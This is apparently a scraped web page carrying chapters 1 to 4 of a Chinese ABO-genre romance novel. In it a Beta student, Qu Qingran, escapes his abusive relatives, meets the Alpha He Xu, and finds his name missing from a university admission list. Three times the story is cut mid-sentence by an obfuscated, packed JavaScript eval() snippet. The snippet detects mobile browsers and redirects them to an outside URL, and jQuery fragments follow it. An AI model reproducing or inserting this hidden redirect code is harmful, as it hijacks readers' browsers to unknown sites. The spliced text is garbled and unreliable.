《你管这叫柏拉图?》 1. 第 1 章 “砰”一声巨响,曲青然从睡梦中惊醒,感觉心率顷刻间飙到二百三,差点儿没从喉咙里吐出来。 熬夜过后的眼皮重的像灌了铅,他模模糊糊的看见自己那精力无限的表哥活像一只被放生的棕熊,破门而入翻箱倒柜,口中碎碎念着“我耳机呢,我耳机呢”。 “你耳机怎么会在我这里?你又没进来过。”曲青盘头疼道。 “怎么不能在这里?我其他地方都找不到进来找找怎么了?”葛家辉理直气壮:“你有意见憋着。” 这个身高175体重175的Alpha在不到十平米的房间里显得很紧塞,动作大开大合几次从曲青然身上踩过去,曲青然怕了他了,努力蜷成一团,要知道上次就是这么被踩断了小腿骨,石膏打了个一个多月,事后他非常委婉的跟舅舅建议拉一张十块钱的行军床,但被舅妈一句“十几块钱不是钱啊!”直接打发,这个打地铺的原始方案延续至今。 在过去的十年里,这种行径三天两头发生,纵使曲青然反锁房门,葛家辉也会去拿家里的备用钥匙来开门,有时候是找东西,有时候就纯是心情不爽进来溜达两圈,趁着曲青然睡眠浅闹出巨大的动静,等曲青然惊醒过来再对着其心慌气短的惊恐表情兴奋的直拍大腿。 这究竟是葛家辉的个人爱好还是所有Alpha都或多或少有点施虐癖,曲青然不懂,但隐私于他而言的确是大大的奢侈品,要知道房子不是他的,舅舅舅妈也不待见自己,有地方睡觉就不错了。 葛家辉进来拱乱了所有东西,如愿以偿的没找到耳机,哼哼唧唧扬长而去,门也没关,曲青然叹了口气,看了眼挂钟——才七点。 今天是明都高校统考出成绩的日子,全明都市估计没有哪个考生能睡得安稳,昨儿晚上骆一白更是焦虑的拉了个群,找他对答案对到凌晨三点多。 补觉无望,曲青然叠被子起床。 主卫生间被舅舅占据,隔着磨砂的玻璃门隐约可见仙气飘飘,中年男A这个屎一时半会儿是拉不完的,更别提边拉边抽烟,他只能去葛家辉房间里洗漱。 走过客厅,葛家辉斜眼上下打量他,只觉得他即便是睡眠不足一张脸依旧白的发光,全然没有半点刚睡醒的邋遢,忍不住道:“曲青然我警告你,不准偷用我买的护肤品!” 这家伙平常内裤袜子都不洗,居然还会给自己买护肤品的吗? 曲青然感觉听了个不好笑的笑话,懒得争辩,迷迷瞪瞪的把牙刷塞进嘴里。 镜子里的男生跟他做一样的动作,眉目清俊非常,一双桃花眼甚至有点像女孩子,好在鼻梁骨挺拔英气,稍作中和,放在人群里便是扎眼的代名词。 骆一白曾经跟他开玩笑说让他去当偶像出道,光凭这张脸就能爆红,发财了立马脱离葛家,曲青然婉拒了,他觉得如果葛家发现他身上有当偶像的价值,肯定分分钟把他卖给富婆财阀当宠物,与其那样还是藏拙的好。 手机震了震,骆一白打来了电话,尖叫道:“我靠啊!!阿青!!你就是我的!!神!!” “出成绩了?”曲青然一把冷水泼在脸上,清醒了不少:“这么早?” “财大的管理学向来都是第一批出!”骆一白道:“猜我多少分!” “昨天估的六百六,怎么着也得六百三上下。”曲青然沉吟道。 “您谦虚了!六百五十八!!就相差两分!!”骆一白说:“你敢信!” 饶是曲青然成竹在胸,此刻也流露出些许惊讶,“这么准?!” “对啊你以为呢!!我估计这还是我考完试脑袋稀昏记答案有记错的。”骆一白越说越激动,“程哥也出分了!五百四!!跟估的一分不差!” 接下来的一个小时内,那个估分群里喜讯不断。 “我嘞个豆!!太准了!!我查分的时候简直不敢相信我的眼睛!!” “曲青然你偷试卷了吧!!还是你就是出卷人!!不然这答案......这是人写出来的答案?” “一毛一样啊我滴妈!青哥你他妈是文曲星转世吧,我将永远追随你!!” “曲青然你自己分儿出了没啊!快让我们看看!!我高低要把这满分的成绩单截图截下来放朋友圈装逼!” “你们这群土狗。”骆一白在群里发语音:“阿青报的是首军大的临床医学,笔试体测面试出三个分,成绩在校门口张榜!要自己去看榜呢!哪能跟你们一样!” “我勒个去,不愧是老祖宗钦定的名牌大学,贵族专业!出个成绩这么有仪式感!” “隆重得嘞,青哥你小心被榜下捉婿!哈哈哈哈哈!” 群里一派红红火火,曲青然消息回不过来,捧着手机傻笑,骆一白发来私聊:“你猪头表哥没霍霍你吧?” 曲青然想了一下早上葛家辉的状态,“轻度癔症。” “锐评。”骆一白说:“他复读两年都没考上个正经大学,你考个本市状元他们一家子不得嫉妒的上吊自杀。” 曲青然又傻笑。 骆一白说:“不过也无所谓,你马上考出去,跟他们说拜拜了。” “曲青然——” 舅妈尖细的声音从头顶传来,像一支豁口的痒痒挠,刺的曲青然一个机灵。 “去你舅单位把米面油搬回来,过夜快递拿了,再把辉辉的车加满油,他待会儿要载我出去兜风。” 舅舅吴大勇从厕所里出来,满脸都是贤者时光的惬意:“兜什么风啊马上都饭点了你不烧饭吗?” 曲青然也抬头,正对上葛银芳瘦长刻薄的脸。 曲青然头皮有点儿发麻。 昨天他用三个小时的家务跟葛银芳换家里车半个小时的使用权,开去首军大看榜。 首军大学的校区在郊区,离葛家大几十公里,打车要花百来块钱,当初吴大勇和葛银芳申请成为他的监护人,接收了爸妈身亡的全部赔款,却没给他留下三瓜俩子。 葛银芳不给钱他就打不了车,现在又反悔了不借车,故意的不能再故意了。 骆一白昨天拉群估分,里面很多都是街坊家的孩子,葛银芳早上出去买菜肯定听说了他的事迹。 照着曲青然写的答案算出来的分精准无误,曲青然试卷的含金量自然不用多说,夸句状元都算含蓄的,结合老葛家屡战屡败的情况,葛银芳估计气的快长结节。 但根据十多年来他总结的在葛家屋檐下的生存理念,此刻不宜跟葛银芳硬碰硬,曲青然撇撇嘴,闷不吭声的应了,转身出门。 出门后他点开微信看到一条消息。 祁琛:“待会儿捎你去看榜,几点合适?” 曲青然挑了挑眉,敲字:“舅妈又给我派活了,估计得一个小时以后。” 祁琛:“行,那一个小时以后巷子口见,午饭少吃点,带你去吃火锅。” 曲青然:“好!” 这时骆一白也发来消息:“对了,你有车去看榜不?我爸刚下班了说他闲的没事,我可以让他开车带我去逛商场顺便捎你去看榜!” 曲青然乐道:“你爸难得跟你过亲子时光,对他好点吧!安森哥会带我去。” 骆一白:“哦哟!有安森哥在那我就放心了!” 骆一白:“还得是安森哥,讲道理跟葛家辉比,安森哥更像你亲哥。” 曲青然:“是吧。” 曲青然:“命运就是很奇妙。” 骆一白:“说起来安森哥也在首军大哎,你小子的好日子在后头呢!” 曲青然唇角上扬。 搬米面油外加一大家子两天没取的快递全是体力活,葛家辉和舅舅两个男A一个说自己气血不足一个说自己骨质疏松,这份业务就由曲青然这个Beta承包了。 所谓命运重击我我就跟它对练拳击,曲青然索性搬着重物爬楼梯,搬着重物练深蹲,天长日久,生生给自己练出了一身薄肌,他骨骼生的细长高挑,不如Alpha喷张魁梧,穿着衣服是半点看不出来,葛家辉还时常嘲讽他弱鸡。 不过他今天赶时间,问保安室大爷借了个小推车,大爷跟他是忘年交,还顺道帮他一起搬了货,卸货时曲青然发现这些快递里居然有一个是寄给自己的,拆开发现里面是一副名牌的无线耳机,旁边还附赠了一张小纸条。 “提前祝贺我的阿青考上首军大,前程似锦,祁琛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358011|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 曲青然捏着那张纸条,掐指算了算,认识祁琛也有快十年了。 很难想象他能跟这个高/干子弟保持联系这么久,也正如骆一白所说,祁琛弥补了葛家辉带给他的创伤,更像一个体贴入微的哥哥。 接下来就只剩一件事,曲青然马不停蹄的去车库。 葛家辉这台代步车经年磕磕碰碰,葛家辉天天扬言要换车却迟迟没有动作,一看就是经济实力不足以支撑上层建筑,葛家辉不修更懒得洗,连后视镜上都是厚厚一层灰。 曲青然用抹布擦了又擦,抹布搓泥了,勉强能看见后方的车辆。 这种驾驶状态不可谓不危险,但葛银芳才不会Care他危险不危险,好在加油站离得不远,曲青然将副驾驶座上的一堆杂物扔到后座,艰难起步。 驾驶环境一塌糊涂,一如他的生活环境也一塌糊涂,但曲青然知道自己不能与生活同流合污,他将祁琛送他的新耳机带上耳朵,连上手机放上音乐。 新耳机很时尚,音质也好,被喜欢的歌单包围,沉甸甸的现实随之飘远,曲青然眼前浮现出许多美好愿景。 考上首军大,他就能成为一名收人敬仰的军医。 他可以救死扶伤,救无数生灵于水火!改变这个糟糕的世界! 而且有安森哥在,他再也不用担心被欺负—— ...... “叩叩” 车窗忽然被叩响。 曲青然一愣,转眸,看见车外站着一个男人。 男人个子很高,腰线也高,戴着一副□□镜,即便隔着脏出天外的车窗,刀削般的下颌线也明明白白的撞入曲青然的视野中。 像个时尚杂志里走出来的机车模特。 曲青然茫然的摇下车窗,见对方倾身,薄唇翕动。 曲青然一个机灵,发现了华点,连忙摘下耳机。 这下他听见对方说什么了! “好走了,亲爱的,是打算在加油站买房吗?” 曲青然看了眼糊的不能再糊的后视镜,这才看清后面排着一辆SUV等着加油,他猛地回过神,大抵是因为自己听歌听入迷了,对方按喇叭也没能得到回应。 曲青然耳根烧红,“对不起,我现在就开走。” “哎——还没给钱呢!”加油站的工作人员拦住他。 “哦!我现在给!不好意思!”曲青然窘迫道:“刷油卡!” 他手忙脚乱的找葛家辉的账号密码,车也来不及开走,男人的手肘就搭在车窗上,墨镜抖的下滑几寸,露出一双狭长深邃的眼。 锐利的目光探出,对着曲青然囫囵一扫描。 “今天高考出分。”他似笑非笑,沉吟道:“看样子考得不错,耳机是男朋友送的吧?畅想未来乐不思蜀了。” “什么男朋友!?”曲青然又是一个机灵,猛地回头怒视他,“你胡说八道什么!” “Fine。”男人轻轻耸肩,风凉话信手拈来,“看在我们这么有缘的份上给你个忠告,凡事尘埃落定前都有变数,不要高兴的太早。” 曲青然:“?” 这是什么比葛家辉一家三口加起来的下头程度还要再下头一百倍的下头男! “那我也还你个忠告!”曲青然狠狠一巴掌拍在车窗键上,满意的看着对方险些被车窗夹到而后退半步,“没事少舔嘴唇!免得被自己毒死了!” 脏兮兮的大冢一骑绝尘而走,喷了贺栩一脸车尾气。 贺栩在原地站了会儿,低头掸了掸皮夹克上的灰,显得有点狼狈,加油的小伙儿瞄了他一眼,没忍住发出响亮的嘲笑:“帅哥,你嘴上没把门的,人家不是Omega,未来要娶老婆的好伐,调戏人家也有个度。” 贺栩说:“Beta?” “嗯啊。”小伙子在这儿干好几年了,不止一次跟曲青然打交道:“看不出来吧,刻板印象了吧!” 顿了顿他又道:“不过这个弟弟长得是好看,尤其是那双眼睛,笑起来跟月亮一样,比很多O都细巧呢!” 贺栩将墨镜推回高挺的鼻梁上,转头去开车,嘴比铁都硬,“不知道,就觉得他缺个男朋友。” 2. 第 2 章 曲青然回到葛家,葛银芳跟他几乎是前后脚,抢了车钥匙就推着葛家辉出门,临走前不忘剜曲青然一眼以作示威。 吴大勇扒拉了两口昨天的剩饭就叼着烟进房间去找人打线上麻将了,也没半点要管曲青然饭的意思。 葛家这样式曲青然早就习惯了,这样反而落了个轻松自在,曲青然拍拍屁股直接出门。 巷子口停着一辆崭新的新能源轿车,祁琛就站在路牌边低头刷手机,他是个教科书版的帅哥Alpha,个高腿长,穿着垂感很好的针织衫与长裤,远远看去肩膀很宽比例甚好,跟街景自成一副画,有人路过都要多看他两眼。 一个电话打进来,祁琛抬手接了,聚精会神没有注意到靠近的曲青然。 “他到了?几点钟?哦没事,我今天不忙,让他过来找我吧。” “谁啊?谁要来?”曲青然好奇道。 祁琛回眸,瞧见曲青然的一瞬间,整个瞳孔都被点亮。 “一个新同事,家庭情况比较复杂,托我办事,不好怠慢。”他挂断电话,莞尔道。 祁琛在首军大读战役设计,虽然才二年级,但因为各方面表现实在优秀,已经成了辅导员的左右手,参与许多一般学生接触不到的学院事务。 在曲青然看来,祁琛就是那种典型的人上人,学院派精英,有当领导的老爸当教授的老妈,人长得帅,信息素高阶脑子还聪明,一出生就在食物链顶端。 不过曲青然从来没有嫉妒过祁琛,相反对其十分钦佩,要知道这样的人走到这样的位置,并非不需要努力。 相反,因为身上的包袱太多,稍有行差踏错就会成为别人茶余饭后的笑话,需要更勤恳更自律。 毫无疑问,祁琛多年来很完美的遵守和执行着世人眼中的高标准,讲道理如果不是那年祁母因为工作调动临时让祁琛到弥陀巷中学读了两年书,曲青然觉得自己一辈子都没机会跟对方交朋友。 “送你的耳机收到了吗?”祁琛说:“喜欢吗?” “喜欢,我现在都随身携带。”曲青然拍了拍衣兜,炫耀似的。 祁琛很满意他的反馈。 “本来想当面送给你的,有点仪式感,但是太忙了怕自己忘了,还是选了快递到家。”他拉开副驾驶门笑道。 “你也不怕被葛家辉拦截,那家伙早上刚在我屋里找耳机来着。”曲青然钻进副驾驶座,好奇的四下打量,“什么时候换的车,坐垫好软啊!” “就昨天,刚提的车今天你就坐上副驾驶了。”祁琛挑了挑眉峰道:“待遇不一般吧?” “哎?这是我之前送你的那个,还留着呢。”曲青然指着出风口,上面插着一个飞行员开战斗机的风扇摆件,已经有点旧了,跟崭新的中控台格格不入。 “是啊,我还记得是那年我转学的时候你送的,那时候我还没车呢,你都不知道这是什么就买了送我。”祁琛笑道:“我当时不肯要,你就哭,你说‘安森哥我都饿三天了才有钱买的’。” “我以为你嫌弃我品味差呢。”曲青然撇嘴道:“虽然我品味确实不怎么样,但小时候自尊心可强了......”他说着说着,成功被自己的黑历史击倒,匆忙去摘,“哎这个扔了吧我买个新的给你——” “别搞。”祁琛拍掉他的爪子,着意护着那小飞行员的飞机头,笑骂道:“当时没钱现在就有钱了?” “等上了首军大就有了,不是说首军大的学生都吃国家补贴嘛。”曲青然说。 “有钱也不能乱花。”祁琛说:“况且我觉得这个很好,很有纪念意义。”他指尖抚摸过飞行员的头顶,掩饰不住的喜爱,“这或许就是未来的我。” “好吧随便你。”曲青然捂了捂肚子,叹气道:“饿死了!” “走,吃火锅去。”祁琛莞尔说:“吃完正好陪我去看看新上市的抑制环,有几款我都挺喜欢。” Alpha和Omega会散发彼此影响的信息素,分别形成易感期和发情期,不加以控制轻则影响生活质量,重则引发社会案件,所以都要佩戴抑制环。 现在市面上的抑制环做的各种各样,曲青然是个Beta,没有这方面需求,但看也能看个热闹。 “这个居然是抑制环,我以为是铂金对戒呢!”一边吃火锅,曲青然一边给祁琛看他找的图。 “这算什么,我之前看到一个人打舌钉,结果打的是小型抑制环。”祁琛说。 “你们A和O这方面的情趣还真多哎,搞得我都有点羡慕了。”曲青然说。 “真羡慕假羡慕啊。”祁琛说:“你喜欢这个款吗?喜欢你也买一个,或者我送你一个也行。” “假的。”曲青然撇嘴说:“我可不想平白无故多一笔开销。” 祁琛笑的更厉害了。 他们坐的位置靠透明的落地窗,外面的商场装潢的富丽堂皇,有错落的雕塑与灯光带交织,曲青然吃的有点儿晕碳,目光扫向窗外,忽见一个盘亮条顺的机车男模大步流星的走过来。 “雾草!”他脑袋一凛,下意识的用手遮脸,目光下垂。 “怎么了?”祁琛道。 “没什么。”曲青然说。 冤家路窄! 天杀的,这家伙怎么从加油站跟过来了! 不会吧不会吧,应该不是专门跟过来的吧......只是凑巧遇见......毕竟明都可是国内第一大都市...... 别过来别过来,到别家逛去,下头男,退!退!退! “这边这边!”祁琛忽然起身招手。 曲青然瞳孔地震。 随后,他就看见那机车男模越走越近越走越近,走进火锅店的大门,走到了他们的餐桌边。 火锅热气缭绕,周边人声鼎沸。 曲青然却觉得周遭的空气莫名的寂静了两秒,然后—— 贺栩:“哟!” 曲青然:“哟你个头!” 祁琛:“?” 祁琛:“你们认识?” 曲青然矢口否认:“不认识!” 贺栩:“嚯!” 曲青然:“.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358012|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 男模摘下了他的墨镜。 “嗯哼?” 你哪儿来这么多的语气助词! 曲青然麻了,这家伙明明什么都没说,但又好像什么都说了! 他抬头望了眼贺栩的脸,面部轮廓相当深邃,有鹰视狼顾之相,是那种扔在Omega群里会被要求全国巡睡的类型,但眼神是说不上来的贱和欠揍。 看戏呢!还专门摘墨镜! “介绍一下,贺栩,我未来同事,首军大国安和战略资源专业。”祁琛说:“这是曲青然,我......朋友。” 曲青然面无表情:“兄弟。” “喔,兄弟。”贺栩说。 曲青然:“......” 他感觉头皮又麻又紧,没好气道:“安森哥,以前从来没听你说过这号人物。” “正常,我档案前天才转过来。”贺栩说:“去去,往里面坐坐。” 曲青然:“???” 这家伙浑然不把自己当外人,大马金刀的往他身边加塞了跟祁琛面对面,曲青然头一回这么后悔自己跟祁琛两人坐了四人沙发座,偏这家伙还敞着两条长腿,膝盖挨着他,拽的不行。 曲青然感觉饭都吃不下去了。 祁琛之前也会借用闲暇的碎片时间处理工作,曲青然性格开朗,也很有分寸,从不乱聊天,故而祁琛也不会避讳着他。 “这是你过审的材料还有生活包。”祁琛掏出一个档案袋递给贺栩,“钥匙通行证都在里面,你过几天就可以直接去学院报道,不用再办入学申请。” “谢了。”贺栩说。 “不谢。”祁琛说。 他放在桌上的手机震动,祁琛低眸,目光扫过屏幕,忽而一变。 “我接个电话。”他双手握住手机,屏幕面竖直朝着自己,起身离开,背影有些仓促,留下曲青然和贺栩两个人面面相觑。 比起曲青然的拘束,贺栩简直松弛的要命,他双手环在胸前,往后一靠,没头没尾的懒声道:“我看人很准的。” 曲青然当然知道他指的是什么意思,只当没听见,从口袋里掏出耳机塞上,音乐音量调高。 二次碰钉子的贺栩依然不觉得尴尬,笑吟吟的转回面孔,拿起菜单翻着玩儿,未几,祁琛回来了,脸上的表情有些许不自然。 “不好意思阿青,我临时有点事。”他的声音压低,眉头有些烦躁的皱着,“要先走。” “哦没关系,你忙你的。”曲青然有些担心:“是家里人出事了吗?” “不相干。”祁琛拿起外套,像是调理了一下潮涌的情绪,呼出一口气,眼皮却始终垂落,“那个......看榜的事——” 曲青然刚想说“我可以再想办法”,却被祁琛打断了。 “贺栩同学。”祁琛郑重其事的抬头,凝视着贺栩的脸道:“能不能拜托你件事。” 曲青然:“?” 他心里“咯噔”一声,直想呼“不要啊!”旋即就听祁琛道:“捎我朋友去首军大看个成绩。” 3. 第 3 章 祁琛的语速太快,当曲青然听见他说什么的时候已经晚了。 贺栩倒是分外爽快:“行啊,没问题。” 祁琛看起来是真的很急,“行,那我走了,账我结过了,回头出结果给我发消息,阿青。” “好......”曲青然虚弱道。 祁琛走了,徒留空气里的尴尬螺旋升天。 曲青然彻底没了兴致,贺栩看他不动筷子了道:“还吃吗?不吃咱出发?” “你不用把安森哥的话当圣旨。”曲青然没好气的说:“你放心我不会告诉他你没去,你现在可以走了。” “我不同意,万一你有个三长两短,我在祁组长那儿岂非信誉全失。”贺栩懒声道:“我初来乍到,以后什么事都还要靠祁组长照应的,这是他布置给我的第一个任务,绝不能出纰漏,走走走。” 他攥住曲青然的臂弯,曲青然涨红了脸,挣扎道:“不要!我跟你不熟不要上你的车!” “哦我明白了。”贺栩想了想说:“你怕祁组长误会——” “误会什么?”曲青然说。 “上别的男人的车。”贺栩说:“还是一个要身材有身材要颜值有颜值的高质量Alpha——” “我说了安森哥不是我男朋友我们是兄弟是兄弟!”曲青然勃然大怒,“你尔多隆吗!!” 他气的满脸通红,因着皮肤白,那红一路蔓延到耳根和脖子,看起来粉粉的,一双多褶的桃花眼瞪得几乎成了正圆形,让贺栩莫名的回想起老家紫藤花架子上奔来跑去的狸花猫。 真俊啊。 没个男朋友实属可惜。 “哦。”贺栩八风不动。。 曲青然顷刻间像一只被扎破的氢气球。 “走就走谁怕谁啊!”他没招了,怒气冲冲的推开贺栩,大步流星的冲出火锅店。 “我车停在外边儿你别走反了。”贺栩说。 曲青然又倒回来。 贺栩憋着笑上车,打开导航,看了眼坐在后排抱着手臂翻白眼的曲青然,道:“是去新校区吗?” 曲青然说:“本部从这里往西八百米就到了,我扫一辆共享单车都能过去,还用你开车捎?” “有道理。”贺栩说:“你报的什么专业?” 提到这个,曲青然的气儿顺了几分,语气中多了几分自豪,“临床医学。” “首军大的临床医学,想当军医啊,牛逼。”贺栩眉峰上挑:“贵族专业。” 帝国近一个世纪都在大力发展国防,以军政治天下,比起动荡不安的各行各业,军队编制堪称铁饭碗,体制内的医生也比普通医疗行业无论从待遇还是地位都在社会层面上遥遥领先,招录的程序与标准也比普通专业要繁复和严苛许多,其中以帝国直聘的首军大最为血脉纯正,每年无数人挤破头报考,成功录取者万中有一,故被戏称为“贵族专业”。 手机屏幕亮起来,曲青然低头,看见估分群里有人在艾特他。 章程:“@我的努力不是小狗屁 青哥你看榜了没啊,我看太监曹都拍照片发朋友圈了![图片]”。 曲青然点开图片,那是一块电子大屏,背景是大红色,上面密密麻麻写满了名字条目,从左到右一行一行分别是人名,年纪,性别,准考证号,录取专业等信息,底部水印是“首军大政教处”的字样。 他翻了翻,在最底下看见了“曹振春”的名字。 “青哥,咋没看到你啊!”群里有人发。 骆一白:“你傻啊,这榜能只有一页吗?” 章程:“对哦,我青哥肯定是第一名,太监曹就算超常发挥了是吊车尾的,不大可能跟青哥在一页,吓死我了。” 骆一白:“你吓死我了,别特么一惊一乍的谎报军情,@我的努力不是小狗屁,青崽你快冲啊快冲啊,我要看你青帝登顶!” 我的努力不是小狗屁:“【猫猫大叫.jpg】” 被他们这么乌龙的一闹,搞得人还有点惴惴不安起来,曲青然熄了屏幕,将手机翻了个面盖在膝盖上,抻着双臂深呼吸,在心里跟自己说不要慌不要慌。 车子轻轻一顿,贺栩说:“到了。” 曲青然抬头,远远的就看见了首军大恢弘的校门,硕大的半环形电子屏幕高悬,成绩榜红的炽烈。 看榜的人有点多,各色车辆驶进驶出,这条道并非主干道,宽度并不能允许两辆车肆意并行,有点考验车技,如果是祁琛的话,大概率会开进去让他少走两步路,但是是贺栩的话,曲青然并未指望。 他下车步行,走了两步听见有人在喊他的名字,回头,只见一个顶着美式前刺的男生倚着一辆宝玛X9的车门,站在马路对面,脸上挂着嚣张的笑容。 “曲青然!没你的名字!我帮你看过了!” 街上人声嘈杂,曲青然蹙了蹙眉头,只当没听见,转头快步往前走。 走了两步肩膀被人按住,曹振春居然追了上来,当着他的面大声道:“你别白费力气往里头钻了,我说了没你的名字!我都看完了!” “谢谢你,但你盐津虾我不信你。”曲青然面无表情的说。 一附中这一届报考首军大的只有他跟曹振春两个人,曹振春是教师子女,上学期间爸妈给他开诸多小灶,成绩却总是忽高忽低,反倒是曲青然,没人托举只知道闷声干大事,成绩稳居高位,统考前最后一次模拟,曹爸特地从外面高价找人压了题回来给儿子考前加餐,不仅押题全押中了曹振春考完也觉得是自己读书这么多年以来发挥的最好的一次。 不料成绩一出曲青然的名字仍然以一分之差盖在他上头,曹振春气迷糊了,开小号在小某书疯狂输出,逼逼内涵,好巧不巧忘记关定位被骆一白扒了马,反挂到了朋友圈,一度声名狼藉。 其实曹振春是有实力的,就是心眼儿小了点,感觉他活的也挺累的,曲青然无意跟他纠缠,挣脱开他自顾自往前走,而后听见曹振春嚷嚷的声音渐行渐远:“你是不到黄河心不死是吧!行啊你亲眼去看好了!有你名字我把头砍下来给你当球踢!” 那种不安感越发强烈,曲青然有些头晕目眩,随手拨通了骆一白的电话。 “喂?青崽。”骆一白说:“怎么了?” “跟我说说话。”曲青然低声说:“我有点......” “你别慌啊!”骆一白说:“你笔试成绩那么能打,在附中三年就没出过前三名的决赛圈,体测就更不用说了,那是现场出成绩,你门门都是优秀,面试......嗐,面试就是走过场,我爸说了这种面试只要你不是鼻歪眼斜大结巴,说出来的话符合正常的人生价值观就不会分太低,青崽你放一万个心。” “可是刚刚我遇到曹振春他说......” “曹振春那傻缺你甭理他,一根直肠通大脑的货,除了应试啥也不会。”骆一白说:“你深呼吸,冷静,一步步走过去,好好看,语音别关,我在这儿连麦陪你。” “好。”曲青然点头。 他终于走到了榜下,抬起头,正好看见红榜从最后一页跳转到了第一页。 第一行,没有。 曲青然怔了一下,对骆一白说:“一白,我拍给你看。” “好好好,我帮你一起看。” “咔嚓” 贺栩注视着男生拍下了榜单的第一页。 他摸出一粒口香糖丢进嘴里嚼,耳机对面有人大骂:“斯道普斯道普!又吃你那破口香糖!我雷咀嚼音!” “没办法,我在cos三好大学生。”贺栩说:“三好学生不能抽烟。” “你拉倒吧,你就那个奸诈狡猾的气质,跟大学生差十万八千里呢!”对面说:“装不像!” “是啊。”贺栩说:“我发现他们最大的特点是,清澈,而且愚蠢。” “怎么说?”对面来了点儿兴趣。 “就好比我面前这个准大学生。”贺栩说:“别人就差把‘处对象’三个字写脸上了,他还在那儿‘兄弟兄弟’的。” “......你千里迢迢跑去首都是去当老娘舅的?”对面震撼道。 “闲的没事就观察观察人类行为。”贺栩说:“他还很自大呢。” “又怎么说?” “首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358013|199718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军大的临床医学专业,上流人际的孵化池,能考进去的都是人精。”贺栩说:“他一个开大冢的小beta,居然一上来就在第一页榜里找自己的名字,对自己太没逼数了。” “那没准人家就是个学霸呢!”对面说。 “长得很牛逼的学霸?”贺栩说:“全首都近一百年除了我还能有第二个?” “......等科技发达了我一定买个能抽人的手机。”对面说。 贺栩笑得更厉害了。 他肩宽腰窄的杵在哪儿,带着墨镜也帅的明目张胆,没多大一会儿已经被来往各个年龄段的人要了小十来次的联系方式了,里面不乏几个络腮胡子圆头圆脑的Alpha,拼命冲他展示自己的身体曲线。 电话那头的人已经狂笑笑的快抽过去了,贺栩翻翻白眼,挂断电话转头去寻垃圾桶吐口香糖。 等他回来时人已经散去大半,主路上的交警车队往里瞄了一眼,得过且过去巡别处了。 贺栩单手插兜前行几步,发现曲青然还站在原地,清瘦的后颈屈曲,颈椎突出一块,弧度秀丽。 他手里电话还开着免提,是多人会话,一群人嚷嚷着,听起来比他还着急: “见鬼了,怎么可能没有呢!绝无可能的!!” “就是啊青哥!!那么多人照着你写的答案估的分,一个人估准了那是凑巧,大家都准,说明你写的就是标准答案啊!” “咱们是不是看漏了,天杀的考完咱天天熬夜打游戏,没准打出青光眼了看岔了!青哥别慌,咱们再看一遍!不可能没有的!” 贺栩眯了眯眼,听曲青然低声道:“不用看了,就是没有。” 语音频道里沉寂了几秒。 “阿青......”骆一白的声音微微发颤,“你不要太难过......” “挂了。”曲青然说:“回头再打给你。” 不等骆一白回复他就掐断了通话,转眸看过来。 贺栩杵在他的视线里。 初夏的风已经有了一点燥热,吹的人口鼻发干。 贺栩用拇指轻轻蹭了一下鼻尖,隐隐尴尬,他望着曲青然那张脸,那不是一张阴柔的脸,山根与眉骨的纵深带着剑一样的英气,但此时眼眶湿漉漉的,像被揉搓过的花瓣,散发着柔弱的味道。 感觉不说点什么,说不过去。 贺栩撇撇嘴,正要开口,听见后头那刺挠人的动静又传来了。 “哈哈哈哈哈!曲青然你现在死心了吧!”曹振春欢呼雀跃道:“你就是活该!我说了你看了也是白看你非不信,非要亲手打自己的脸才甘心,你是受虐狂吧!”他越说越得劲,“你现在体会到我的感觉了吧!那种考完感觉贼拉好实际上一坨屎的挫败感!哈哈哈哈哈你也不过如此!” “我跟你不一样。”曲青然说。 “哪里不一样?哦对,我考上了,你没考上!那我们确实不一样。”曹振春说:“你说你霸榜那么多年有啥用?模拟考考的再高有啥用?屁用没有!” 他“哈哈”大笑,笑的路边的人纷纷侧目。 忽而有人冲他吹了声口哨。 曹振春顿了一下,循声转头,就见路边站着一个身高近一米九的大帅哥,冲他比划了个“收”的手势。 “打住。”贺栩说:“吵的人头疼。” “我跟我老同学叙旧情关你屁事!”曹振春瞪眼道:“你谁啊!” “一名路过的热心群众。”贺栩说:“老弟,你这么嚣张,法律可以制裁你的。” “制裁我?”曹振春上下扫了他几眼,目光在他脖子上的一串蛇骨项链上停顿了一下,眉头皱的更厉害,“法律制裁你才对!我爸妈说了,像你这样穿金戴银搔首弄姿的人是三教九流!警察扫黄专抓你这样的!” 贺栩:“......” 贺栩:“唔——” 曹振春:“哈哈!理亏了吧!” “不是。”贺栩歪头,冲他身后抬了抬下巴,“你的车停在那个地方——” 曹振春:“?” 贺栩:“它刚刚被交警拖走了哦!” 4. 第 4 章 曹振春吱哇乱叫着去追他的爱车了。 动静太大,以至于曲青然都没空郁郁了,表情呆滞的举起手,弹出一根食指。 “我看交警在外面转了好几圈一直没进来啊......” 